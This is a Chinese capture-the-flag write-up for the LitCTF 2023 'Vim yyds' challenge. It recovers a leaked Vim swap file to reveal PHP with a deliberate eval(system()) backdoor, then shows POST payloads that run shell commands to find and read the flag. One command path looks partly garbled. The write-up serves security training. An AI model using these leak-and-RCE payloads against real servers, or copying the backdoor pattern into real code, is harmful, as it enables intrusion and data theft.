# [LitCTF 2023]Vim yyds # [LitCTF 2023]Vim yyds 根据题意,直接开扫: ![[LitCTF 2023]Vim yyds-1](https://pic.imgdb.cn/item/6556edaec458853aef2d5261.jpg) `/.index.php.swp` 为泄露的文件,访问并下载 > 用 vim 打开一个文件时,都会产生一个 `.swp` 的隐藏文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容,用于保存数据。 > > 当正常关闭时,此文件会被删除;当文件非正常关闭(比如直接关闭终端或者电脑断电等)时,文件不会被删除,可用此文件来恢复。 将 `index.php.swp` 丢到 Linux 系统的机子上 (这里以 kali 为例) 恢复 `index.php` :`vim -r /home/kali/桌面/index.php.swp` ![[LitCTF 2023]Vim yyds-2](https://pic.imgdb.cn/item/6556ef01c458853aef30f901.jpg) ```php can can need Vim

"; // 检查通过 POST 请求提交的名为 'password' 的变量的值是否等于经过 base64 编码后的密码 if ($_POST['password'] === base64_encode($password)) { echo "

Oh You got my password!

"; // 使用 eval 函数执行通过 POST 请求提交的 'cmd' 参数经过 system 函数处理的命令 eval(system($_POST['cmd'])); } ?> ``` 想要利用 RCE 漏洞必须给 password 参数传值 "Give_Me_Your_Flag" 的 base64 编码形式:`R2l2ZV9NZV9Zb3VyX0ZsYWc=` 查询 flag 位置:`password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=find / -name "flag*"` ![[LitCTF 2023]Vim yyds-3](https://pic.imgdb.cn/item/6556f19bc458853aef3907bd.jpg) 查看 flag :`password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /cpu1/domain0/flags /flag` ![[LitCTF 2023]Vim yyds-4](https://pic.imgdb.cn/item/6556f224c458853aef3a9d69.jpg)